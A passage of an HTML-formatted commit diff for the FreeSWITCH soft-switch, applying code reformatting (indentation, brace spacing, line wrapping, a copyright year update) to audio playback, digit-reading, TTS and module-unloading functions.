</span><span class="cx">                 switch_channel_set_variable_printf(channel, "record_ms", "%d", fh->samples_out / (read_impl.samples_per_second / 1000));
</span><span class="cx">
</span><span class="lines">@@ -764,8 +761,8 @@
</span><span class="cx">         switch_frame_t write_frame = { 0 };
</span><span class="cx">         switch_byte_t data[SWITCH_RECOMMENDED_BUFFER_SIZE];
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><del>-        switch_codec_implementation_t read_impl = {0};
- switch_core_session_get_read_impl(session, &read_impl);
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
+        switch_core_session_get_read_impl(session, &read_impl);
</ins><span class="cx">
</span><span class="cx">         if (switch_channel_pre_answer(channel) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -828,9 +825,9 @@
</span><span class="cx">
</span><span class="cx">                 if (args && (args->input_callback || args->buf || args->buflen)) {
</span><span class="cx">                         /*
</span><del>-                         dtmf handler function you can hook up to be executed when a digit is dialed during gentones
-                         if you return anything but SWITCH_STATUS_SUCCESS the playback will stop.
-                        */
</del><ins>+                         dtmf handler function you can hook up to be executed when a digit is dialed during gentones
+                         if you return anything but SWITCH_STATUS_SUCCESS the playback will stop.
+                         */
</ins><span class="cx">                         if (switch_channel_has_dtmf(channel)) {
</span><span class="cx">                                 if (!args->input_callback && !args->buf) {
</span><span class="cx">                                         status = SWITCH_STATUS_BREAK;
</span><span class="lines">@@ -914,14 +911,14 @@
</span><span class="cx">         int eof = 0;
</span><span class="cx">         switch_size_t bread = 0;
</span><span class="cx">         int l16 = 0;
</span><del>- switch_codec_implementation_t read_impl = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">         char *file_dup;
</span><span class="cx">         char *argv[128] = { 0 };
</span><span class="cx">         int argc;
</span><span class="cx">         int cur;
</span><span class="cx">         int done = 0;
</span><span class="cx">
</span><del>- switch_core_session_get_read_impl(session, &read_impl);
</del><ins>+        switch_core_session_get_read_impl(session, &read_impl);
</ins><span class="cx">
</span><span class="cx">         if ((play_delimiter_val = switch_channel_get_variable(channel, "playback_delimiter"))) {
</span><span class="cx">                 play_delimiter = *play_delimiter_val;
</span><span class="lines">@@ -949,27 +946,27 @@
</span><span class="cx">                 l16++;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (play_delimiter) {
</span><span class="cx">                 file_dup = switch_core_session_strdup(session, file);
</span><span class="cx">                 argc = switch_separate_string(file_dup, play_delimiter, argv, (sizeof(argv) / sizeof(argv[0])));
</span><span class="cx">         } else {
</span><span class="cx">                 argc = 1;
</span><del>-                argv[0] = (char *)file;
</del><ins>+                argv[0] = (char *) file;
</ins><span class="cx">         }
</span><span class="cx">
</span><del>-        for(cur = 0; switch_channel_ready(channel) && !done && cur < argc; cur++) {
</del><ins>+        for (cur = 0; switch_channel_ready(channel) && !done && cur < argc; cur++) {
</ins><span class="cx">                 file = argv[cur];
</span><span class="cx">                 asis = 0;
</span><span class="cx">                 eof = 0;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (cur) {
</span><span class="cx">                         fh->samples = sample_start = 0;
</span><span class="cx">                         if (sleep_val_i) {
</span><span class="cx">                                 switch_ivr_sleep(session, sleep_val_i, SWITCH_FALSE, args);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">
</span><span class="cx">                 if ((alt = strchr(file, ':'))) {
</span><span class="lines">@@ -1061,7 +1058,7 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-        
</del><ins>+
</ins><span class="cx">                 if (!fh) {
</span><span class="cx">                         fh = &lfh;
</span><span class="cx">                         memset(fh, 0, sizeof(lfh));
</span><span class="lines">@@ -1078,8 +1075,8 @@
</span><span class="cx">                                 fh->prebuf = maybe;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><span class="cx">
</span><ins>+
</ins><span class="cx">                 if (!fh->prefix) {
</span><span class="cx">                         fh->prefix = prefix;
</span><span class="cx">                 }
</span><span class="lines">@@ -1087,8 +1084,7 @@
</span><span class="cx">                 if (switch_core_file_open(fh,
</span><span class="cx">                                                                  file,
</span><span class="cx">                                                                  read_impl.number_of_channels,
</span><del>-                                                                 read_impl.actual_samples_per_second,
-                                                                 SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                                 read_impl.actual_samples_per_second, SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                         switch_core_session_reset(session, SWITCH_TRUE, SWITCH_FALSE);
</span><span class="cx">                         status = SWITCH_STATUS_NOTFOUND;
</span><span class="cx">                         continue;
</span><span class="lines">@@ -1161,8 +1157,8 @@
</span><span class="cx">                                                                                  interval, 1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, pool) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session),
</span><span class="cx">                                                                          SWITCH_LOG_DEBUG, "Codec Activated %s@%uhz %u channels %dms\n", codec_name, fh->samplerate, fh->channels, interval);
</span><del>-                                
</del><span class="cx">
</span><ins>+
</ins><span class="cx">                                 } else {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
</span><span class="cx">                                                                          "Raw Codec Activation Failed %s@%uhz %u channels %dms\n", codec_name, fh->samplerate, fh->channels, interval);
</span><span class="lines">@@ -1208,27 +1204,27 @@
</span><span class="cx">
</span><span class="cx">                         if (!switch_channel_ready(channel)) {
</span><span class="cx">                                 status = SWITCH_STATUS_FALSE;
</span><del>-                                break;
</del><ins>+                                break;
</ins><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         if (switch_channel_test_flag(channel, CF_BREAK)) {
</span><span class="cx">                                 switch_channel_clear_flag(channel, CF_BREAK);
</span><span class="cx">                                 status = SWITCH_STATUS_BREAK;
</span><del>-                                break;
</del><ins>+                                break;
</ins><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         switch_ivr_parse_all_events(session);
</span><span class="cx">
</span><span class="cx">                         if (args && (args->input_callback || args->buf || args->buflen)) {
</span><span class="cx">                                 /*
</span><del>-                                 dtmf handler function you can hook up to be executed when a digit is dialed during playback
-                                 if you return anything but SWITCH_STATUS_SUCCESS the playback will stop.
-                                */
</del><ins>+                                 dtmf handler function you can hook up to be executed when a digit is dialed during playback
+                                 if you return anything but SWITCH_STATUS_SUCCESS the playback will stop.
+                                 */
</ins><span class="cx">                                 if (switch_channel_has_dtmf(channel)) {
</span><span class="cx">                                         if (!args->input_callback && !args->buf) {
</span><span class="cx">                                                 status = SWITCH_STATUS_BREAK;
</span><span class="cx">                                                 done = 1;
</span><del>-                                                break;
</del><ins>+                                                break;
</ins><span class="cx">                                         }
</span><span class="cx">                                         switch_channel_dequeue_dtmf(channel, &dtmf);
</span><span class="cx">                                         if (args->input_callback) {
</span><span class="lines">@@ -1250,7 +1246,7 @@
</span><span class="cx">
</span><span class="cx">                                 if (status != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         done = 1;
</span><del>-                                        break;
</del><ins>+                                        break;
</ins><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="lines">@@ -1266,7 +1262,7 @@
</span><span class="cx">                                         if (eof) {
</span><span class="cx">                                                 continue;
</span><span class="cx">                                         } else {
</span><del>-                                                break;
</del><ins>+                                                break;
</ins><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="cx">
</span><span class="lines">@@ -1279,7 +1275,7 @@
</span><span class="cx">                         } else if (fh->audio_buffer && (eof || (switch_buffer_inuse(fh->audio_buffer) > (switch_size_t) (framelen)))) {
</span><span class="cx">                                 if (!(bread = switch_buffer_read(fh->audio_buffer, abuf, framelen))) {
</span><span class="cx">                                         if (eof) {
</span><del>-                                                break;
</del><ins>+                                                break;
</ins><span class="cx">                                         } else {
</span><span class="cx">                                                 continue;
</span><span class="cx">                                         }
</span><span class="lines">@@ -1310,7 +1306,7 @@
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         if (done || olen <= 0) {
</span><del>-                                break;
</del><ins>+                                break;
</ins><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         if (!asis) {
</span><span class="lines">@@ -1413,18 +1409,18 @@
</span><span class="cx">                                 continue;
</span><span class="cx">                         } else if (status != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 done = 1;
</span><del>-                                break;
</del><ins>+                                break;
</ins><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         if (done) {
</span><del>-                                break;
</del><ins>+                                break;
</ins><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         if (timer_name) {
</span><span class="cx">                                 if (switch_core_timer_next(&timer) != SWITCH_STATUS_SUCCESS) {
</span><del>-                                        break;
</del><ins>+                                        break;
</ins><span class="cx">                                 }
</span><del>-                        } else {                                /* time off the channel (if you must) */
</del><ins>+                        } else {                        /* time off the channel (if you must) */
</ins><span class="cx">                                 switch_frame_t *read_frame;
</span><span class="cx">                                 switch_status_t tstatus;
</span><span class="cx">                                 while (switch_channel_ready(channel) && switch_channel_test_flag(channel, CF_HOLD)) {
</span><span class="lines">@@ -1434,7 +1430,7 @@
</span><span class="cx">                                 tstatus = switch_core_session_read_frame(session, &read_frame, SWITCH_IO_FLAG_NONE, 0);
</span><span class="cx">
</span><span class="cx">                                 if (!SWITCH_READ_ACCEPTABLE(tstatus)) {
</span><del>-                                        break;
</del><ins>+                                        break;
</ins><span class="cx">                                 }
</span><span class="cx">
</span><span class="cx">                                 if (args && (args->read_frame_callback)) {
</span><span class="lines">@@ -1445,19 +1441,17 @@
</span><span class="cx">                                         }
</span><span class="cx">                                         switch_clear_flag(fh, SWITCH_FILE_CALLBACK);
</span><span class="cx">                                         if (!ok) {
</span><del>-                                                break;
</del><ins>+                                                break;
</ins><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "done playing file\n");
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (read_impl.samples_per_second) {
</span><del>-                        switch_channel_set_variable_printf(channel, "playback_seconds",
-                                                                                         "%d", fh->samples_out / read_impl.samples_per_second);
-                        switch_channel_set_variable_printf(channel, "playback_ms",
-                                                                                         "%d", fh->samples_out / (read_impl.samples_per_second / 1000) );
</del><ins>+                        switch_channel_set_variable_printf(channel, "playback_seconds", "%d", fh->samples_out / read_impl.samples_per_second);
+                        switch_channel_set_variable_printf(channel, "playback_ms", "%d", fh->samples_out / (read_impl.samples_per_second / 1000));
</ins><span class="cx">                 }
</span><span class="cx">                 switch_channel_set_variable_printf(channel, "playback_samples", "%d", fh->samples_out);
</span><span class="cx">
</span><span class="lines">@@ -1466,7 +1460,7 @@
</span><span class="cx">                 if (fh->audio_buffer) {
</span><span class="cx">                         switch_buffer_destroy(&fh->audio_buffer);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (fh->sp_audio_buffer) {
</span><span class="cx">                         switch_buffer_destroy(&fh->sp_audio_buffer);
</span><span class="cx">                 }
</span><span class="lines">@@ -1502,13 +1496,13 @@
</span><span class="cx">         int16_t *data;
</span><span class="cx">         uint32_t listening = 0;
</span><span class="cx">         int countdown = 0;
</span><del>-        switch_codec_t raw_codec = {0};
</del><ins>+        switch_codec_t raw_codec = { 0 };
</ins><span class="cx">         int16_t *abuf = NULL;
</span><del>-        switch_frame_t write_frame = {0};
-        switch_file_handle_t fh = {0};
</del><ins>+        switch_frame_t write_frame = { 0 };
+        switch_file_handle_t fh = { 0 };
</ins><span class="cx">         int32_t sample_count = 0;
</span><del>- switch_codec_implementation_t read_impl = {0};
- switch_core_session_get_read_impl(session, &read_impl);
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
+        switch_core_session_get_read_impl(session, &read_impl);
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">         if (timeout_ms) {
</span><span class="lines">@@ -1519,8 +1513,7 @@
</span><span class="cx">                 if (switch_core_file_open(&fh,
</span><span class="cx">                                                                  file,
</span><span class="cx">                                                                  read_impl.number_of_channels,
</span><del>-                                                                 read_impl.actual_samples_per_second,
-                                                                 SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                                 read_impl.actual_samples_per_second, SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                         switch_core_session_reset(session, SWITCH_TRUE, SWITCH_FALSE);
</span><span class="cx">                         return SWITCH_STATUS_NOTFOUND;
</span><span class="cx">                 }
</span><span class="lines">@@ -1552,7 +1545,7 @@
</span><span class="cx">         while (switch_channel_ready(channel)) {
</span><span class="cx">
</span><span class="cx">                 status = switch_core_session_read_frame(session, &read_frame, SWITCH_IO_FLAG_NONE, 0);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!SWITCH_READ_ACCEPTABLE(status)) {
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="lines">@@ -1563,21 +1556,21 @@
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (abuf) {
</span><span class="cx">                         switch_size_t olen = raw_codec.implementation->samples_per_packet;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (switch_core_file_read(&fh, abuf, &olen) != SWITCH_STATUS_SUCCESS) {
</span><del>- break;
- }
-                        
-                        write_frame.samples = (uint32_t)olen;
-                        write_frame.datalen = (uint32_t)(olen * sizeof(int16_t));
</del><ins>+                                break;
+                        }
+
+                        write_frame.samples = (uint32_t) olen;
+                        write_frame.datalen = (uint32_t) (olen * sizeof(int16_t));
</ins><span class="cx">                         if ((status = switch_core_session_write_frame(session, &write_frame, SWITCH_IO_FLAG_NONE, 0)) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (countdown) {
</span><span class="cx">                         if (!--countdown) {
</span><span class="cx">                                 break;
</span><span class="lines">@@ -1587,14 +1580,14 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 data = (int16_t *) read_frame->data;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 for (energy = 0, j = 0, count = 0; count < read_frame->samples; count++) {
</span><span class="cx">                         energy += abs(data[j++]);
</span><span class="cx">                         j += channels;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 score = (uint32_t) (energy / (read_frame->samples / divisor));
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (score >= thresh) {
</span><span class="cx">                         listening++;
</span><span class="cx">                 }
</span><span class="lines">@@ -1611,7 +1604,7 @@
</span><span class="cx">         switch_core_session_reset(session, SWITCH_FALSE, SWITCH_TRUE);
</span><span class="cx">         switch_core_codec_destroy(&raw_codec);
</span><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><span class="cx">         if (abuf) {
</span><span class="cx">                 switch_core_file_close(&fh);
</span><span class="lines">@@ -1626,10 +1619,7 @@
</span><span class="cx">                                                                                                 uint32_t max_digits,
</span><span class="cx">                                                                                                 const char *prompt_audio_file,
</span><span class="cx">                                                                                                 const char *var_name,
</span><del>-                                                                                                char *digit_buffer,
-                                                                                                switch_size_t digit_buffer_length,
-                                                                                                uint32_t timeout,
-                                                                                                const char *valid_terminators)
</del><ins>+                                                                                                char *digit_buffer, switch_size_t digit_buffer_length, uint32_t timeout, const char *valid_terminators)
</ins><span class="cx"> {
</span><span class="cx">         switch_channel_t *channel;
</span><span class="cx">         switch_input_args_t args = { 0 };
</span><span class="lines">@@ -1640,7 +1630,7 @@
</span><span class="cx">         switch_assert(session);
</span><span class="cx">
</span><span class="cx">         if (max_digits < min_digits) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
</ins><span class="cx">                                                  "Max digits %u is less than Min %u, forcing Max to %u\n", max_digits, min_digits, min_digits);
</span><span class="cx">                 max_digits = min_digits;
</span><span class="cx">         }
</span><span class="lines">@@ -1703,11 +1693,11 @@
</span><span class="cx">         default:
</span><span class="cx">                 switch_channel_set_variable(channel, SWITCH_READ_RESULT_VARIABLE, "failure");
</span><span class="cx">                 break;
</span><del>-                
</del><ins>+
</ins><span class="cx">         }
</span><del>-        
- end:
</del><span class="cx">
</span><ins>+ end:
+
</ins><span class="cx">         if (max_digits == 1 && len == 1 && valid_terminators && strchr(valid_terminators, *digit_buffer)) {
</span><span class="cx">                 *digit_buffer = '\0';
</span><span class="cx">         }
</span><span class="lines">@@ -1727,30 +1717,28 @@
</span><span class="cx">                                                                                                                  uint32_t timeout,
</span><span class="cx">                                                                                                                  const char *valid_terminators,
</span><span class="cx">                                                                                                                  const char *prompt_audio_file,
</span><del>-                                                                                                                 const char *bad_input_audio_file,
</del><ins>+                                                                                                                 const char *bad_input_audio_file,
</ins><span class="cx">                                                                                                                  const char *var_name,
</span><del>-                                                                                                                 char *digit_buffer,
-                                                                                                                 uint32_t digit_buffer_length,
-                                                                                                                 const char *digits_regex)
</del><ins>+                                                                                                                 char *digit_buffer, uint32_t digit_buffer_length, const char *digits_regex)
</ins><span class="cx"> {
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">
</span><del>-        while(switch_channel_ready(channel) && max_tries) {
</del><ins>+        while (switch_channel_ready(channel) && max_tries) {
</ins><span class="cx">                 switch_status_t status;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 memset(digit_buffer, 0, digit_buffer_length);
</span><span class="cx">                 switch_channel_flush_dtmf(channel);
</span><del>-                status = switch_ivr_read(session, min_digits, max_digits, prompt_audio_file, var_name,
</del><ins>+                status = switch_ivr_read(session, min_digits, max_digits, prompt_audio_file, var_name,
</ins><span class="cx">                                                                  digit_buffer, digit_buffer_length, timeout, valid_terminators);
</span><span class="cx">                 if (status == SWITCH_STATUS_TIMEOUT && strlen(digit_buffer) >= min_digits) {
</span><span class="cx">                         status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">                 }
</span><span class="cx">
</span><del>- if (status == SWITCH_STATUS_TOO_SMALL && strlen(digit_buffer) == 0) {
- return SWITCH_STATUS_FALSE;
- }
-
</del><ins>+                if (status == SWITCH_STATUS_TOO_SMALL && strlen(digit_buffer) == 0) {
+                        return SWITCH_STATUS_FALSE;
+                }
</ins><span class="cx">
</span><ins>+
</ins><span class="cx">                 if (status == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         if (!zstr(digit_buffer)) {
</span><span class="cx">                                 if (zstr(digits_regex)) {
</span><span class="lines">@@ -2077,8 +2065,8 @@
</span><span class="cx">         const char *timer_name, *var;
</span><span class="cx">         cached_speech_handle_t *cache_obj = NULL;
</span><span class="cx">         int need_create = 1, need_alloc = 1;
</span><del>- switch_codec_implementation_t read_impl = {0};
- switch_core_session_get_read_impl(session, &read_impl);
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
+        switch_core_session_get_read_impl(session, &read_impl);
</ins><span class="cx">
</span><span class="cx">         if (switch_channel_pre_answer(channel) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -2122,7 +2110,7 @@
</span><span class="cx">         if (need_create) {
</span><span class="cx">                 memset(sh, 0, sizeof(*sh));
</span><span class="cx">                 if ((status = switch_core_speech_open(sh, tts_name, voice_name, (uint32_t) rate, interval,
</span><del>-                                                                        &flags, switch_core_session_get_pool(session))) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                                                         &flags, switch_core_session_get_pool(session))) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Invalid TTS module!\n");
</span><span class="cx">                         switch_core_session_reset(session, SWITCH_TRUE, SWITCH_TRUE);
</span><span class="cx">                         if (cache_obj) {
</span><span class="lines">@@ -2149,7 +2137,8 @@
</span><span class="cx">                                                                  pool) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Raw Codec Activated\n");
</span><span class="cx">                 } else {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Raw Codec Activation Failed %s@%uhz 1 channel %dms\n", codec_name, rate, interval);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Raw Codec Activation Failed %s@%uhz 1 channel %dms\n", codec_name,
+                                                         rate, interval);
</ins><span class="cx">                         flags = 0;
</span><span class="cx">                         switch_core_speech_close(sh, &flags);
</span><span class="cx">                         switch_core_session_reset(session, SWITCH_TRUE, SWITCH_TRUE);
</span><span class="lines">@@ -2175,7 +2164,8 @@
</span><span class="cx">                                 }
</span><span class="cx">                                 return SWITCH_STATUS_GENERR;
</span><span class="cx">                         }
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Setup timer success %u bytes per %d ms!\n", sh->samples * 2, interval);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Setup timer success %u bytes per %d ms!\n", sh->samples * 2,
+                                                         interval);
</ins><span class="cx">                 }
</span><span class="cx">                 /* start a thread to absorb incoming audio */
</span><span class="cx">                 switch_core_service_session(session);
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_loadable_modulec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_loadable_module.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_loadable_module.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_loadable_module.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -76,7 +76,8 @@
</span><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> static struct switch_loadable_module_container loadable_modules;
</span><del>-static switch_status_t do_shutdown(switch_loadable_module_t *module, switch_bool_t shutdown, switch_bool_t unload, switch_bool_t fail_if_busy, const char **err);
</del><ins>+static switch_status_t do_shutdown(switch_loadable_module_t *module, switch_bool_t shutdown, switch_bool_t unload, switch_bool_t fail_if_busy,
+                                                                 const char **err);
</ins><span class="cx"> static switch_status_t switch_loadable_module_load_module_ex(char *dir, char *fname, switch_bool_t runtime, switch_bool_t global, const char **err);
</span><span class="cx">
</span><span class="cx"> static void *SWITCH_THREAD_FUNC switch_loadable_module_exec(switch_thread_t *thread, void *obj)
</span><span class="lines">@@ -444,7 +445,7 @@
</span><span class="cx">         switch_event_t *event;
</span><span class="cx">
</span><span class="cx">         switch_mutex_lock(loadable_modules.mutex);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (old_module->module_interface->endpoint_interface) {
</span><span class="cx">                 const switch_endpoint_interface_t *ptr;
</span><span class="cx">
</span><span class="lines">@@ -452,12 +453,13 @@
</span><span class="cx">                         if (ptr->interface_name) {
</span><span class="cx">
</span><span class="cx">                                 switch_core_session_hupall_endpoint(ptr, SWITCH_CAUSE_MANAGER_REQUEST);
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write lock interface '%s' to wait for existing references.\n", ptr->interface_name);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write lock interface '%s' to wait for existing references.\n",
+                                                                 ptr->interface_name);
</ins><span class="cx">                                 if (switch_thread_rwlock_trywrlock_timeout(ptr->rwlock, 10) == SWITCH_STATUS_SUCCESS) {
</span><del>- switch_thread_rwlock_unlock(ptr->rwlock);
- } else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Giving up on '%s' waiting for existing references.\n", ptr->interface_name);
- }
</del><ins>+                                        switch_thread_rwlock_unlock(ptr->rwlock);
+                                } else {
+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Giving up on '%s' waiting for existing references.\n", ptr->interface_name);
+                                }
</ins><span class="cx">
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Deleting Endpoint '%s'\n", ptr->interface_name);
</span><span class="cx">                                 if (switch_event_create(&event, SWITCH_EVENT_MODULE_UNLOAD) == SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -542,13 +544,14 @@
</span><span class="cx">                         if (ptr->interface_name) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Deleting Application '%s'\n", ptr->interface_name);
</span><span class="cx">                                 switch_core_session_hupall_matching_var(SWITCH_CURRENT_APPLICATION_VARIABLE, ptr->interface_name, SWITCH_CAUSE_MANAGER_REQUEST);
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write lock interface '%s' to wait for existing references.\n", ptr->interface_name);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write lock interface '%s' to wait for existing references.\n",
+                                                                 ptr->interface_name);
</ins><span class="cx">                                 if (switch_thread_rwlock_trywrlock_timeout(ptr->rwlock, 10) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         switch_thread_rwlock_unlock(ptr->rwlock);
</span><span class="cx">                                 } else {
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Giving up on '%s' waiting for existing references.\n", ptr->interface_name);
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Giving up on '%s' waiting for existing references.\n", ptr->interface_name);
</ins><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (switch_event_create(&event, SWITCH_EVENT_MODULE_UNLOAD) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "type", "application");
</span><span class="cx">                                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "name", ptr->interface_name);
</span><span class="lines">@@ -568,8 +571,9 @@
</span><span class="cx">                         if (ptr->interface_name) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Deleting API Function '%s'\n", ptr->interface_name);
</span><span class="cx">
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write lock interface '%s' to wait for existing references.\n", ptr->interface_name);
-                                
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write lock interface '%s' to wait for existing references.\n",
+                                                                 ptr->interface_name);
+
</ins><span class="cx">                                 if (switch_thread_rwlock_trywrlock_timeout(ptr->rwlock, 10) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         switch_thread_rwlock_unlock(ptr->rwlock);
</span><span class="cx">                                 } else {
</span><span class="lines">@@ -596,8 +600,9 @@
</span><span class="cx">                         if (ptr->interface_name) {
</span><span class="cx">                                 int i;
</span><span class="cx">
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write lock interface '%s' to wait for existing references.\n", ptr->interface_name);
-                                
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write lock interface '%s' to wait for existing references.\n",
+                                                                 ptr->interface_name);
+
</ins><span class="cx">                                 if (switch_thread_rwlock_trywrlock_timeout(ptr->rwlock, 10) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         switch_thread_rwlock_unlock(ptr->rwlock);
</span><span class="cx">                                 } else {
</span><span class="lines">@@ -624,8 +629,9 @@
</span><span class="cx">
</span><span class="cx">                         if (ptr->interface_name) {
</span><span class="cx">
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write lock interface '%s' to wait for existing references.\n", ptr->interface_name);
-                                
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write lock interface '%s' to wait for existing references.\n",
+                                                                 ptr->interface_name);
+
</ins><span class="cx">                                 if (switch_thread_rwlock_trywrlock_timeout(ptr->rwlock, 10) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         switch_thread_rwlock_unlock(ptr->rwlock);
